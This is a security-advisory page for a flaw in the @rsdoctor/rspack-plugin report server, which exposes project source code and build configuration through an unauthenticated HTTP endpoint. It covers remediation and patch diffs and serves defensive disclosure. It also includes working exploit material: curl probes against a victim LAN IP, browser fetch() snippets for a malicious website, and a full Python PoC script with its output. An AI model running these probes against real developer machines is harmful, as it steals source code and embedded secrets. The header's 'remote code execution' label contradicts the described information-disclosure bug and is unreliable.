CVE-2026-61782: @rsdoctor/rspack plugin Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-jmg2-rcxh-w8q3
CVSS 7.5
CWE-200
Published
Advisory Summary

CVE-2026-61782 is a HIGH (CVSS 7.5) remote code execution vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting @rsdoctor/rspack plugin libraries in the npm ecosystem. The issue involves @rsdoctor/rspack-plugin has unauthenticated http api that exposes project source code and build metadata. Remediation is available by upgrading affected packages to version 1.5.16.

CVE-2026-61782 at a Glance

CVE Identifier CVE-2026-61782
GHSA Identifier GHSA-jmg2-rcxh-w8q3
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Affected Product @rsdoctor/rspack plugin
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-61782

To remediate this vulnerability, upgrade all affected @rsdoctor/rspack plugin dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@rsdoctor/rspack-plugin fixed: 1.5.16
npm install @rsdoctor/rspack-plugin@1.5.16
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @rsdoctor/rspack-plugin

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-61782, inspect your project dependencies using npm:

npm ls @rsdoctor/rspack-plugin

Analyze the terminal output to locate any version of @rsdoctor/rspack plugin in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.5.16), your application is affected.

Note: The npm ls @rsdoctor/rspack-plugin command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In @rsdoctor/rspack plugin, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The default Rsdoctor report HTTP server started by `@rsdoctor/rspack-plugin` binds to all network interfaces (`0.0.0.0`) and serves a `POST /api/data/key` endpoint with no authentication and wildcard CORS (`Access-Control-Allow-Origin: *`). Any network-adjacent or remote attacker can send a single unauthenticated request to retrieve the full source code of all compiled JavaScript modules (`moduleCodeMap`), serialized build configuration (`configs`), error details, and other sensitive build metadata. This server is enabled by default in non-CI environments, requiring no special configuration from the victim developer. ### Details **Root cause: server binds to all interfaces with no authentication and no key allowlist.** The vulnerability is composed of four independently observable defects that together create a complete unauthenticated information-disclosure path: **1. Server binds to `0.0.0.0` (all interfaces)** `packages/utils/src/build/server.ts:107` calls `server.listen(port, callback)` without a `host` argument. Node.js defaults to `0.0.0.0`, exposing the server on every network interface of the developer's machine, including LAN interfaces. ```ts // packages/utils/src/build/server.ts:83,107 server.listen(port, () => { // no host → 0.0.0.0 resolve(res); }); ``` **2. Wildcard CORS enabled unconditionally** `packages/sdk/src/sdk/server/index.ts:106` applies `cors()` middleware with no origin restriction, and `:203–204` additionally sets `Access-Control-Allow-Origin: *` explicitly on every API response, allowing cross-origin browser requests from any domain. ```ts // packages/sdk/src/sdk/server/index.ts:106 this.app.use(cors()); // :203 res.setHeader('Access-Control-Allow-Origin', '*'); res.setHeader('Access-Control-Allow-Credentials', 'true'); ``` **3. `POST /api/data/key` registered with no authentication middleware** `packages/sdk/src/sdk/server/apis/data.ts:6` registers the route via `@Router.post`. There is no authentication guard, token check, or session validation anywhere in the middleware chain. ```ts // packages/sdk/src/sdk/server/apis/data.ts:6,13,29 @Router.post(SDK.ServerAPI.API.LoadDataByKey) public async loadDataByKey() { let { key } = req.body as SDK.ServerAPI.InferRequestBodyType<SDK.ServerAPI.API.LoadDataByKey>; const data = await this.loadData(key); return data; } ``` **4. `key` is passed to `getStoreData()` without an allowlist** `packages/sdk/src/sdk/server/apis/base.ts:29–39` indexes the entire SDK data store directly using the attacker-controlled `key`, including dot-path traversal for nested keys. ```ts // packages/sdk/src/sdk/server/apis/base.ts:29,33,35-36 const data = this.ctx.sdk.getStoreData(); let res = data[key]; if (key.includes(sep)) { res = key.split(sep).reduce((t, k) => t[k], data); } return res; ``` **Source-to-sink data flow:** | Step | Location | Description | |------|----------|-------------| | 1 | `packages/rspack-plugin/src/plugin.ts:111` | Plugin bootstraps the SDK server during build | | 2 | `packages/core/src/inner-plugins/utils/config.ts:98,110–115` | `disableClientServer` defaults to `false`; server starts in all non-CI builds | | 3 | `packages/utils/src/build/server.ts:83,107` | HTTP server created and bound to `0.0.0.0` | | 4 | `packages/sdk/src/sdk/server/index.ts:106,203` | Wildcard CORS applied unconditionally | | 5 | `packages/sdk/src/sdk/server/apis/data.ts:6,13,29` | Attacker `key` accepted from request body | | 6 | `packages/sdk/src/sdk/server/apis/base.ts:29,36,39` | `key` indexes `sdk.getStoreData()` with no allowlist | | 7 | `packages/sdk/src/sdk/sdk/index.ts:487,491` | `moduleCodeMap` getter calls `_moduleGraph.toCodeData()` | | 8 | `packages/graph/src/graph/module-graph/graph.ts:464–469` | `toCodeData()` returns all module source objects | | 9 | `packages/graph/src/graph/module-graph/module.ts:248–250` | Each module exposes `source`, `transformed`, and `parsedSource` | | 10 | `packages/sdk/src/sdk/server/router.ts:119,125` | Serialized result written to HTTP response | **Default configuration ensures source code is captured:** `packages/core/src/inner-plugins/utils/config.ts` shows that `noModuleSource`, `noAssetsAndModuleSource`, and `noCode` all default to `false`, causing `normalizeReportType` to return `SDK.ToDataType.Normal`. This means module source code is stored in the SDK data store by default and retrievable via the `moduleCodeMap` key. ### PoC #### Original PoC **Environment setup:** ```bash # Create and enter a temporary project directory mkdir /tmp/rsdoctor-poc && cd /tmp/rsdoctor-poc pnpm init # Install the vulnerable version pnpm add -D @rspack/core@^2.0.8 @rspack/cli@^2.0.8 @rsdoctor/rspack-plugin@1.5.11 # Create a source file embedding a secret mkdir src cat > src/index.js <<'EOF' const INTERNAL_API_KEY = 'rsdoctor-secret-marker-123'; console.log(INTERNAL_API_KEY); EOF # Create rspack config with the Rsdoctor plugin (default settings) cat > rspack.config.js <<'EOF' const { RsdoctorRspackPlugin } = require('@rsdoctor/rspack-plugin'); module.exports = { mode: 'development', entry: './src/index.js', output: { path: __dirname + '/dist', filename: 'bundle.js' }, plugins: [new RsdoctorRspackPlugin()] }; EOF # Run rspack — the Rsdoctor HTTP server starts automatically pnpm rspack -c rspack.config.js # Note the printed port, e.g.: http://<lan-ip>:3717/index.html ``` **Exploit (from any host on the same LAN, no authentication):** ```bash # Primary probe: exfiltrate all module source code curl -s "http://<victim-lan-ip>:<port>/api/data/key" \ -H 'Content-Type: application/json' \ --data '{"key":"moduleCodeMap"}' # Response: full source code of every compiled module, including secrets ``` **Expected response (excerpt):** ```json { "...": "...", "source": "const INTERNAL_API_KEY = 'rsdoctor-secret-marker-123';\nconsole.log(INTERNAL_API_KEY);\n", "...": "..." } ``` **Secondary probe: exfiltrate build configuration and local paths:** ```bash curl -s "http://<victim-lan-ip>:<port>/api/data/key" \ -H 'Content-Type: application/json' \ --data '{"key":"configs"}' # Response: 9,278 bytes of serialized build configuration including absolute file paths ``` **Automated PoC (Docker-based, self-contained reproduction):** The Docker-based reproduction builds and starts the vulnerable project inside a container, then executes `poc.py` to confirm source code exfiltration. The PoC embeds the marker string `rsdoctor-vuln-001-secret-EXFIL-abc123` in the compiled source and asserts its presence in the unauthenticated API response: ``` ============================================================ VULN-001 PoC: Rsdoctor Unauthenticated Source Code Leak ============================================================ [*] Detected Rsdoctor server on port: 3717 (after 3s) [*] Running PoC exploit against http://127.0.0.1:3717 ... [*] Target URL : http://127.0.0.1:3717/api/data/key [*] Payload : {"key": "moduleCodeMap"} [*] Auth header : (none) [+] HTTP status : 200 [+] Response size: 738 bytes [+] SECRET MARKER FOUND IN RESPONSE: 'rsdoctor-vuln-001-secret-EXFIL-abc123' [+] Context around secret: ...NEVER be able to read this content via an unauthenticated HTTP API. const RSDOCTOR_SECRET_MARKER = "rsdoctor-vuln-001-secret-EXFIL-abc123"; console.log(RSDOCTOR_SECRET_MARKER); module.exports = { secret: RSDOCTOR_SECRET_MARKER }; ... [PASS] VULN-001 CONFIRMED: source code exfiltrated via unauthenticated API [+] Secondary probe (key=configs) status: 200, size: 9,278 bytes ``` **Recommended patch:** ```diff --- a/packages/utils/src/build/server.ts +++ b/packages/utils/src/build/server.ts -export async function createServer(port: number): Promise<{ +export async function createServer( + port: number, + host = '127.0.0.1', +): Promise<{ - server.listen(port, () => { + server.listen(port, host, () => { resolve(res); }); ``` ```diff --- a/packages/sdk/src/sdk/server/index.ts +++ b/packages/sdk/src/sdk/server/index.ts public get host(): string { - const host = getLocalIpAddress(); - return host; + return '127.0.0.1'; } - this._server = await Server.createServer(port); + this._server = await Server.createServer(port, this.host); - this.app.use(cors()); - res.setHeader('Access-Control-Allow-Origin', '*'); - res.setHeader('Access-Control-Allow-Credentials', 'true'); ``` #### Minimal browser-based PoC A malicious website can also attempt to read data from a local Rsdoctor report server by sending a browser request to `127.0.0.1` or `localhost`. ```js fetch('http://127.0.0.1:<rsdoctor-port>/api/data/key', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ key: 'moduleCodeMap', }), }) .then((res) => res.json()) .then(console.log); ``` If the report server is reachable over the local network, an attacker may also target the victim machine's LAN address: ```js fetch('http://<victim-lan-ip>:<rsdoctor-port>/api/data/key', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ key: 'moduleCodeMap', }), }) .then((res) => res.json()) .then(console.log); ``` In affected versions, the response may contain sensitive build metadata or compiled module source code. ### Impact This is an **unauthenticated remote information disclosure** vulnerability. Any attacker who can reach the developer's machine over the network (LAN, VPN, shared Wi-Fi, corporate network) can retrieve: - **Full JavaScript source code** of every module compiled during the build, including any secrets, API keys, or proprietary business logic embedded in the source (`moduleCodeMap`) - **Serialized build configuration**, including absolute local file paths, resolver settings, and plugin configurations (`configs`) - **Build errors** that may contain stack traces with internal paths (`errors`) - **Environment information** (`envinfo`) The server is started automatically whenever a developer runs a build with the Rsdoctor plugin outside of a CI environment (`disableClientServer` defaults to `false`). No user interaction or special configuration is required from the victim. A single unauthenticated HTTP POST request is sufficient to exfiltrate all module source code. Impacted parties include individual developers and organizations whose developers run Rsdoctor on machines connected to any shared or semi-trusted network, and any CI system that runs Rsdoctor in a non-CI-detected environment. ### Patched Behavior The patched version changes the report server's default security model: - The report server binds to `127.0.0.1` by default. - Default CORS no longer allows arbitrary origins. - Default CORS only allows local origins such as `localhost`, `*.localhost`, `127.0.0.1`, and `[::1]`. - Passing a partial CORS object preserves the default local-origin protection. - HTTP requests are rejected when the request host is not allowed. - The report WebSocket requires a per-server token. - The report UI receives the tokenized socket URL through runtime report data and uses that URL to connect. ### Upgrade Path Upgrade Rsdoctor packages to the patched version: ```bash pnpm add -D @rsdoctor/rspack-plugin@^1.5.16 ``` Most users do not need additional configuration after upgrading. ### CORS Configuration Behavior The patched version aligns Rsdoctor's CORS behavior with a safer default model. In particular, partial CORS options no longer drop the default local-origin protection. | User configuration `server.cors` | Effective CORS behavior | | --- | --- | | `undefined` | Enables CORS for default local origins only | | `false` | Disables CORS middleware | | `true` | Uses `cors({})`; effectively allows arbitrary origins and is not recommended | | `{ credentials: true }` | Keeps default local origins and adds `credentials: true` | | `{ origin: 'https://example.com' }` | Allows only the configured origin | | `{ origin: '*' }` | Allows arbitrary origins and is not recommended | | `{ origin: false }` | Does not set `Access-Control-Allow-Origin` | | `{ origin: fn }` | Uses the custom origin function | | `{ origin: /regex/ }` | Uses the custom regular expression | #### Recommended configuration For most users, leave `server.cors` unset: ```js new RsdoctorRspackPlugin(); ``` If another local development frontend needs to access the report server, configure an exact origin: ```js new RsdoctorRspackPlugin({ server: { cors: { origin: 'http://localhost:3000', credentials: true, }, }, }); ``` Avoid permissive CORS configuration: ```js new RsdoctorRspackPlugin({ server: { cors: true, }, }); ``` ```js new RsdoctorRspackPlugin({ server: { cors: { origin: '*', }, }, }); ``` These configurations explicitly opt out of the safer default CORS behavior. ### Breaking Changes The patched version intentionally tightens the report server's access model. #### 1. The report server is local-only by default The report server is no longer intended to be accessed from arbitrary LAN hosts or remote machines by default. If your workflow depended on opening the Rsdoctor report server from another device on the network, that workflow may stop working after upgrading. The recommended approach is to access the report from the same machine that started the build, or to use generated static report output instead of exposing the development report server. #### 2. Cross-origin access is restricted by default Web pages from non-local origins can no longer read report server responses by default. If you have a trusted local integration, configure the exact allowed origin through `server.cors.origin`. #### 3. Custom WebSocket clients must use the tokenized socket URL The report WebSocket now requires a per-server token. Custom clients must not construct the socket URL manually, for example: ```js new WebSocket('ws://localhost:<port>'); ``` Instead, they must use the tokenized socket URL provided by the report runtime data. #### 4. `server.cors: true` remains an explicit opt-out `server.cors: true` uses the default behavior of the `cors` middleware and is effectively permissive. This behavior is kept for compatibility, but it is not recommended for untrusted environments. ## Workarounds If upgrading immediately is not possible, users can reduce exposure by disabling the report server: ```js new RsdoctorRspackPlugin({ disableClientServer: true, }); ``` Additional mitigations: - Do not expose the report server port to untrusted networks. - Do not use `server.cors: true`. - Do not use `server.cors.origin: '*'`. - Run builds only in trusted local environments. - Block external access to the report server port with firewall rules. These workarounds do not fully address every attack path. Upgrading to a patched version is recommended. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # Dockerfile for VULN-001 dynamic reproduction # Vulnerability: Unauthenticated HTTP API exposes project source code # Package: @rsdoctor/rspack-plugin@1.5.11 # Endpoint: POST /api/data/key (no auth required) # CWE-200 / CVSS 7.5 High FROM node:24-slim # Install Python3 (for poc.py) RUN apt-get update && \ apt-get install -y --no-install-recommends python3 && \ rm -rf /var/lib/apt/lists/* # Install pnpm (version required by rsdoctor monorepo engine spec) RUN corepack enable && corepack prepare pnpm@10.33.4 --activate # ── Vulnerable project setup ────────────────────────────────────────────────── WORKDIR /poc # Minimal package.json RUN echo '{"name":"rsdoctor-poc","version":"1.0.0","private":true}' > package.json # Install the vulnerable plugin version and rspack peer dependency RUN pnpm add -D \ "@rspack/core@^2.0.8" \ "@rspack/cli@^2.0.8" \ "@rsdoctor/rspack-plugin@1.5.11" # Copy the project source tree (contains a secret marker) COPY project/ /poc/ # Provide a stub xdg-open so the 'open' npm package does not trigger an # uncaughtException (ENOENT) that would kill the Rsdoctor HTTP server before # the PoC can connect. RUN printf '#!/bin/sh\nexit 0\n' > /usr/bin/xdg-open && chmod +x /usr/bin/xdg-open # ── PoC and entrypoint ──────────────────────────────────────────────────────── COPY poc.py /poc.py COPY entrypoint.sh /entrypoint.sh RUN chmod +x /entrypoint.sh ENTRYPOINT ["/entrypoint.sh"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: Unauthenticated HTTP API exposes project source code via /api/data/key in @rsdoctor/rspack-plugin@1.5.11 Affected endpoint: POST /api/data/key No authentication required. Sending {"key":"moduleCodeMap"} returns the full source code of all compiled modules. CWE-200: Exposure of Sensitive Information to an Unauthorized Actor CVSS v3.1: 7.5 (High) - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N """ import sys import json import urllib.request import urllib.error SECRET_MARKER = "rsdoctor-vuln-001-secret-EXFIL-abc123" REQUEST_TIMEOUT = 15 def exploit(port: int) -> bool: """ Send unauthenticated POST /api/data/key with key=moduleCodeMap. Returns True if secret marker is found in the response (PASS). """ url = f"http://127.0.0.1:{port}/api/data/key" print(f"[*] Target URL : {url}") print(f"[*] Payload : {{\"key\": \"moduleCodeMap\"}}") print(f"[*] Auth header : (none)") print(f"[*] Secret text : {SECRET_MARKER}") print() payload = json.dumps({"key": "moduleCodeMap"}).encode("utf-8") req = urllib.request.Request( url, data=payload, headers={"Content-Type": "application/json"}, method="POST", ) try: with urllib.request.urlopen(req, timeout=REQUEST_TIMEOUT) as resp: body = resp.read().decode("utf-8", errors="replace") status = resp.status except urllib.error.HTTPError as exc: print(f"[-] HTTP error: {exc.code} {exc.reason}") return False except urllib.error.URLError as exc: print(f"[-] Connection error: {exc.reason}") return False print(f"[+] HTTP status : {status}") print(f"[+] Response size: {len(body):,} bytes") if SECRET_MARKER in body: print(f"[+] SECRET MARKER FOUND IN RESPONSE: {SECRET_MARKER!r}") print() # Show the surrounding context (first 300 chars around the marker) idx = body.index(SECRET_MARKER) start = max(0, idx - 100) end = min(len(body), idx + len(SECRET_MARKER) + 100) snippet = body[start:end].replace("\\n", "\n") print(f"[+] Context around secret:") print(f" ...{snippet}...") print() print("[PASS] VULN-001 CONFIRMED: source code exfiltrated via unauthenticated API") return True else: print("[-] Secret marker NOT found in response") print(f"[-] Response preview (first 500 bytes): {body[:500]!r}") print("[FAIL] Could not confirm source code leakage") return False def probe_configs(port: int) -> None: """Secondary probe: check if build configs/paths are also exposed.""" url = f"http://127.0.0.1:{port}/api/data/key" payload = json.dumps({"key": "configs"}).encode("utf-8") req = urllib.request.Request( url, data=payload, headers={"Content-Type": "application/json"}, method="POST", ) try: with urllib.request.urlopen(req, timeout=REQUEST_TIMEOUT) as resp: body = resp.read().decode("utf-8", errors="replace") print(f"[+] Secondary probe (key=configs) status: {resp.status}, size: {len(body):,} bytes") except Exception as exc: print(f"[*] Secondary probe (key=configs) failed: {exc}") def main() -> None: if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <port>") sys.exit(1) try: port = int(sys.argv[1]) except ValueError: print(f"[-] Invalid port: {sys.argv[1]!r}") sys.exit(1) print("=" * 60) print("VULN-001 PoC: Rsdoctor Unauthenticated Source Code Leak") print("=" * 60) success = exploit(port) print() probe_configs(port) sys.exit(0 if success else 2) if __name__ == "__main__": main() ```

CVE-2026-61782 Affected @rsdoctor/rspack plugin Versions

1 component(s)
Fixed Versions:
1.5.16
Product / Package Ecosystem Affected Versions Fixed Version
@rsdoctor/rspack-plugin
npm
< 1.5.16
1.5.16

References

Frequently Asked Questions

What is CVE-2026-61782?
CVE-2026-61782 is a security vulnerability in @rsdoctor/rspack plugin involving @rsdoctor/rspack-plugin has Unauthenticated HTTP API that Exposes Project Source Code and Build Metadata under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.
Which @rsdoctor/rspack plugin versions are affected?
Affected versions include releases prior to 1.5.16 across affected packages: @rsdoctor/rspack-plugin.
What version fixes CVE-2026-61782?
Upgrading to 1.5.16 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @rsdoctor/rspack-plugin affected?
Yes, @rsdoctor/rspack-plugin is affected in releases prior to 1.5.16. Upgrade your dependency to 1.5.16 or later.
What is the CVSS score of CVE-2026-61782?
CVE-2026-61782 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-61782?
CVE-2026-61782 is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.).
How can I check npm dependencies for CVE-2026-61782?
Run the dependency tree command: 'npm ls @rsdoctor/rspack-plugin'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jmg2-rcxh-w8q3",
  "modified" : "2026-09-24T19:42:10Z",
  "published" : "2026-09-24T19:42:10Z",
  "aliases" : [ "CVE-2026-61782" ],
  "summary" : "@rsdoctor/rspack-plugin has Unauthenticated HTTP API that Exposes Project Source Code and Build Metadata",
  "details" : "### Summary\n\nThe default Rsdoctor report HTTP server started by `@rsdoctor/rspack-plugin` binds to all network interfaces (`0.0.0.0`) and serves a `POST /api/data/key` endpoint with no authentication and wildcard CORS (`Access-Control-Allow-Origin: *`). Any network-adjacent or remote attacker can send a single unauthenticated request to retrieve the full source code of all compiled JavaScript modules (`moduleCodeMap`), serialized build configuration (`configs`), error details, and other sensitive build metadata. This server is enabled by default in non-CI environments, requiring no special configuration from the victim developer.\n\n### Details\n\n**Root cause: server binds to all interfaces with no authentication and no key allowlist.**\n\nThe vulnerability is composed of four independently observable defects that together create a complete unauthenticated information-disclosure path:\n\n**1. Server binds to `0.0.0.0` (all interfaces)**\n\n`packages/utils/src/build/server.ts:107` calls `server.listen(port, callback)` without a `host` argument. Node.js defaults to `0.0.0.0`, exposing the server on every network interface of the developer's machine, including LAN interfaces.\n\n```ts\n// packages/utils/src/build/server.ts:83,107\nserver.listen(port, () => {   // no host → 0.0.0.0\n  resolve(res);\n});\n```\n\n**2. Wildcard CORS enabled unconditionally**\n\n`packages/sdk/src/sdk/server/index.ts:106` applies `cors()` middleware with no origin restriction, and `:203–204` additionally sets `Access-Control-Allow-Origin: *` explicitly on every API response, allowing cross-origin browser requests from any domain.\n\n```ts\n// packages/sdk/src/sdk/server/index.ts:106\nthis.app.use(cors());\n// :203\nres.setHeader('Access-Control-Allow-Origin', '*');\nres.setHeader('Access-Control-Allow-Credentials', 'true');\n```\n\n**3. `POST /api/data/key` registered with no authentication middleware**\n\n`packages/sdk/src/sdk/server/apis/data.ts:6` registers the route via `@Router.post`. There is no authentication guard, token check, or session validation anywhere in the middleware chain.\n\n```ts\n// packages/sdk/src/sdk/server/apis/data.ts:6,13,29\n@Router.post(SDK.ServerAPI.API.LoadDataByKey)\npublic async loadDataByKey() {\n  let { key } = req.body as SDK.ServerAPI.InferRequestBodyType<SDK.ServerAPI.API.LoadDataByKey>;\n  const data = await this.loadData(key);\n  return data;\n}\n```\n\n**4. `key` is passed to `getStoreData()` without an allowlist**\n\n`packages/sdk/src/sdk/server/apis/base.ts:29–39` indexes the entire SDK data store directly using the attacker-controlled `key`, including dot-path traversal for nested keys.\n\n```ts\n// packages/sdk/src/sdk/server/apis/base.ts:29,33,35-36\nconst data = this.ctx.sdk.getStoreData();\nlet res = data[key];\nif (key.includes(sep)) {\n  res = key.split(sep).reduce((t, k) => t[k], data);\n}\nreturn res;\n```\n\n**Source-to-sink data flow:**\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `packages/rspack-plugin/src/plugin.ts:111` | Plugin bootstraps the SDK server during build |\n| 2 | `packages/core/src/inner-plugins/utils/config.ts:98,110–115` | `disableClientServer` defaults to `false`; server starts in all non-CI builds |\n| 3 | `packages/utils/src/build/server.ts:83,107` | HTTP server created and bound to `0.0.0.0` |\n| 4 | `packages/sdk/src/sdk/server/index.ts:106,203` | Wildcard CORS applied unconditionally |\n| 5 | `packages/sdk/src/sdk/server/apis/data.ts:6,13,29` | Attacker `key` accepted from request body |\n| 6 | `packages/sdk/src/sdk/server/apis/base.ts:29,36,39` | `key` indexes `sdk.getStoreData()` with no allowlist |\n| 7 | `packages/sdk/src/sdk/sdk/index.ts:487,491` | `moduleCodeMap` getter calls `_moduleGraph.toCodeData()` |\n| 8 | `packages/graph/src/graph/module-graph/graph.ts:464–469` | `toCodeData()` returns all module source objects |\n| 9 | `packages/graph/src/graph/module-graph/module.ts:248–250` | Each module exposes `source`, `transformed`, and `parsedSource` |\n| 10 | `packages/sdk/src/sdk/server/router.ts:119,125` | Serialized result written to HTTP response |\n\n**Default configuration ensures source code is captured:**\n\n`packages/core/src/inner-plugins/utils/config.ts` shows that `noModuleSource`, `noAssetsAndModuleSource`, and `noCode` all default to `false`, causing `normalizeReportType` to return `SDK.ToDataType.Normal`. This means module source code is stored in the SDK data store by default and retrievable via the `moduleCodeMap` key.\n\n### PoC\n#### Original PoC\n**Environment setup:**\n\n```bash\n# Create and enter a temporary project directory\nmkdir /tmp/rsdoctor-poc && cd /tmp/rsdoctor-poc\npnpm init\n\n# Install the vulnerable version\npnpm add -D @rspack/core@^2.0.8 @rspack/cli@^2.0.8 @rsdoctor/rspack-plugin@1.5.11\n\n# Create a source file embedding a secret\nmkdir src\ncat > src/index.js <<'EOF'\nconst INTERNAL_API_KEY = 'rsdoctor-secret-marker-123';\nconsole.log(INTERNAL_API_KEY);\nEOF\n\n# Create rspack config with the Rsdoctor plugin (default settings)\ncat > rspack.config.js <<'EOF'\nconst { RsdoctorRspackPlugin } = require('@rsdoctor/rspack-plugin');\nmodule.exports = {\n  mode: 'development',\n  entry: './src/index.js',\n  output: { path: __dirname + '/dist', filename: 'bundle.js' },\n  plugins: [new RsdoctorRspackPlugin()]\n};\nEOF\n\n# Run rspack — the Rsdoctor HTTP server starts automatically\npnpm rspack -c rspack.config.js\n# Note the printed port, e.g.: http://<lan-ip>:3717/index.html\n```\n\n**Exploit (from any host on the same LAN, no authentication):**\n\n```bash\n# Primary probe: exfiltrate all module source code\ncurl -s \"http://<victim-lan-ip>:<port>/api/data/key\" \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"key\":\"moduleCodeMap\"}'\n# Response: full source code of every compiled module, including secrets\n```\n\n**Expected response (excerpt):**\n\n```json\n{\n  \"...\": \"...\",\n  \"source\": \"const INTERNAL_API_KEY = 'rsdoctor-secret-marker-123';\\nconsole.log(INTERNAL_API_KEY);\\n\",\n  \"...\": \"...\"\n}\n```\n\n**Secondary probe: exfiltrate build configuration and local paths:**\n\n```bash\ncurl -s \"http://<victim-lan-ip>:<port>/api/data/key\" \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"key\":\"configs\"}'\n# Response: 9,278 bytes of serialized build configuration including absolute file paths\n```\n\n**Automated PoC (Docker-based, self-contained reproduction):**\n\nThe Docker-based reproduction builds and starts the vulnerable project inside a container, then executes `poc.py` to confirm source code exfiltration. The PoC embeds the marker string `rsdoctor-vuln-001-secret-EXFIL-abc123` in the compiled source and asserts its presence in the unauthenticated API response:\n\n```\n============================================================\nVULN-001 PoC: Rsdoctor Unauthenticated Source Code Leak\n============================================================\n[*] Detected Rsdoctor server on port: 3717 (after 3s)\n[*] Running PoC exploit against http://127.0.0.1:3717 ...\n[*] Target URL  : http://127.0.0.1:3717/api/data/key\n[*] Payload     : {\"key\": \"moduleCodeMap\"}\n[*] Auth header : (none)\n[+] HTTP status  : 200\n[+] Response size: 738 bytes\n[+] SECRET MARKER FOUND IN RESPONSE: 'rsdoctor-vuln-001-secret-EXFIL-abc123'\n[+] Context around secret:\n    ...NEVER be able to read this content via an unauthenticated HTTP API.\nconst RSDOCTOR_SECRET_MARKER = \"rsdoctor-vuln-001-secret-EXFIL-abc123\";\nconsole.log(RSDOCTOR_SECRET_MARKER);\nmodule.exports = { secret: RSDOCTOR_SECRET_MARKER };\n...\n[PASS] VULN-001 CONFIRMED: source code exfiltrated via unauthenticated API\n[+] Secondary probe (key=configs) status: 200, size: 9,278 bytes\n```\n\n**Recommended patch:**\n\n```diff\n--- a/packages/utils/src/build/server.ts\n+++ b/packages/utils/src/build/server.ts\n-export async function createServer(port: number): Promise<{\n+export async function createServer(\n+  port: number,\n+  host = '127.0.0.1',\n+): Promise<{\n-    server.listen(port, () => {\n+    server.listen(port, host, () => {\n       resolve(res);\n     });\n```\n\n```diff\n--- a/packages/sdk/src/sdk/server/index.ts\n+++ b/packages/sdk/src/sdk/server/index.ts\n   public get host(): string {\n-    const host = getLocalIpAddress();\n-    return host;\n+    return '127.0.0.1';\n   }\n-    this._server = await Server.createServer(port);\n+    this._server = await Server.createServer(port, this.host);\n-    this.app.use(cors());\n-          res.setHeader('Access-Control-Allow-Origin', '*');\n-          res.setHeader('Access-Control-Allow-Credentials', 'true');\n```\n\n#### Minimal browser-based PoC\n\nA malicious website can also attempt to read data from a local Rsdoctor report server by sending a browser request to `127.0.0.1` or `localhost`.\n\n```js\nfetch('http://127.0.0.1:<rsdoctor-port>/api/data/key', {\n  method: 'POST',\n  headers: {\n    'Content-Type': 'application/json',\n  },\n  body: JSON.stringify({\n    key: 'moduleCodeMap',\n  }),\n})\n  .then((res) => res.json())\n  .then(console.log);\n```\n\nIf the report server is reachable over the local network, an attacker may also target the victim machine's LAN address:\n\n```js\nfetch('http://<victim-lan-ip>:<rsdoctor-port>/api/data/key', {\n  method: 'POST',\n  headers: {\n    'Content-Type': 'application/json',\n  },\n  body: JSON.stringify({\n    key: 'moduleCodeMap',\n  }),\n})\n  .then((res) => res.json())\n  .then(console.log);\n```\n\nIn affected versions, the response may contain sensitive build metadata or compiled module source code.\n\n### Impact\n\nThis is an **unauthenticated remote information disclosure** vulnerability. Any attacker who can reach the developer's machine over the network (LAN, VPN, shared Wi-Fi, corporate network) can retrieve:\n\n- **Full JavaScript source code** of every module compiled during the build, including any secrets, API keys, or proprietary business logic embedded in the source (`moduleCodeMap`)\n- **Serialized build configuration**, including absolute local file paths, resolver settings, and plugin configurations (`configs`)\n- **Build errors** that may contain stack traces with internal paths (`errors`)\n- **Environment information** (`envinfo`)\n\nThe server is started automatically whenever a developer runs a build with the Rsdoctor plugin outside of a CI environment (`disableClientServer` defaults to `false`). No user interaction or special configuration is required from the victim. A single unauthenticated HTTP POST request is sufficient to exfiltrate all module source code.\n\nImpacted parties include individual developers and organizations whose developers run Rsdoctor on machines connected to any shared or semi-trusted network, and any CI system that runs Rsdoctor in a non-CI-detected environment.\n\n### Patched Behavior\n\nThe patched version changes the report server's default security model:\n\n- The report server binds to `127.0.0.1` by default.\n- Default CORS no longer allows arbitrary origins.\n- Default CORS only allows local origins such as `localhost`, `*.localhost`, `127.0.0.1`, and `[::1]`.\n- Passing a partial CORS object preserves the default local-origin protection.\n- 